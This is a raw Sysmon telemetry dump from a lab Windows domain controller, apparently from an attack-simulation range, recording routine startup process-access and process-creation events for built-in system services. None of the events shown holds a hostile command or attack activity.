09:09:35.470{A5F018FF-28BD-5F80-0B00-000000007F01}8683440C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+70fae|C:\Windows\system32\lsass.exe+3907|C:\Windows\SYSTEM32\ntdll.dll+80a84|C:\Windows\SYSTEM32\ntdll.dll+29c02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001270Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.466{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3700-000000007F01}3340C:\Windows\System32\vdsldr.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001269Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001268Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.460{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2D00-000000007F01}2780C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001267Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.459{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2D00-000000007F01}2780C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001266Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.459{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001265Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.459{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001264Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.455{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3700-000000007F01}3340C:\Windows\System32\vdsldr.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001263Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.455{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3700-000000007F01}3340C:\Windows\System32\vdsldr.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001262Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.455{A5F018FF-28CF-5F80-3700-000000007F01}3340C:\Windows\System32\vdsldr.exe10.0.14393.0 (rs1_release.160715-1616)Virtual Disk Service LoaderMicrosoft® Windows® Operating SystemMicrosoft Corporationvdsldr.exeC:\Windows\System32\vdsldr.exe -EmbeddingC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=E5C3B321907C73E782280BE427599F14,SHA256=43F0AF018DC498619222CF16E1C9BDE2F7710732686DC361E4D692B7EFB4DDF9,IMPHASH=D6207B24445355CEA1AC6C8E9A2BA2B9{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000001261Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.425{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3600-000000007F01}3212C:\Windows\system32\wbem\unsecapp.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001260Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.420{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001259Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.420{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001258Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.418{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001257Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.418{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3600-000000007F01}3212C:\Windows\system32\wbem\unsecapp.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001256Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.418{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3600-000000007F01}3212C:\Windows\system32\wbem\unsecapp.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001255Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.417{A5F018FF-28CF-5F80-3600-000000007F01}3212C:\Windows\System32\wbem\unsecapp.exe10.0.14393.2515 (rs1_release_1.180830-1044)Sink to receive asynchronous callbacks for WMI client applicationMicrosoft® Windows® Operating SystemMicrosoft Corporationunsecapp.dllC:\Windows\system32\wbem\unsecapp.exe -EmbeddingC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=2E49BB6C9F6599F518FE30BE2F000247,SHA256=20F499D581CF4AF331D8EC8B1E07A32CC1A695EF6790B51DA5EE223C5867154F,IMPHASH=A3CC49DF67C2278F822C9EBB9908BF09{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000001254Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.416{A5F018FF-28BD-5F80-0A00-000000007F01}8522468C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001253Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.407{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001252Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.406{A5F018FF-28BD-5F80-0A00-000000007F01}8521120C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001251Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.404{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001250Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.404{A5F018FF-28BD-5F80-0A00-000000007F01}8521364C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001249Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.352{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\System32\dfsrs.exe10.0.14393.2879 (rs1_release_inmarket.190313-1855)Distributed File System ReplicationMicrosoft® Windows® Operating SystemMicrosoft Corporationdfsr.exeC:\Windows\system32\DFSRs.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=5043D2DBA1E5AC37A9874B403B48C1C1,SHA256=7044CE273B245F6D67A3BFC7D548CFF538F8FC3BD1C99467B5ADE6452C150313,IMPHASH=C1481566D7D03EEC4CC460B52429BA9C{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001248Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.398{A5F018FF-28BD-5F80-0A00-000000007F01}852928C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3500-000000007F01}2708C:\Windows\system32\dfssvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001247Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.393{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3500-000000007F01}2708C:\Windows\system32\dfssvc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001246Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.392{A5F018FF-28BD-5F80-0A00-000000007F01}8521120C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-3500-000000007F01}2708C:\Windows\system32\dfssvc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001245Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.383{A5F018FF-28CF-5F80-3500-000000007F01}2708C:\Windows\System32\dfssvc.exe10.0.14393.0 (rs1_release.160715-1616)Windows NT Distributed File System ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdfssvc.exeC:\Windows\system32\dfssvc.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=304155A24E5273CF68197B30112D451A,SHA256=EC48F117C47F0E4BD5F7407629CE8CF78579764A7947CA05EDC089B59B941576,IMPHASH=C8B32AEEF22A97D88BD68D70385A1B30{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000001244Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.387{A5F018FF-28BD-5F80-0A00-000000007F01}852928C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\system32\dns.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001243Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.384{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001242Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 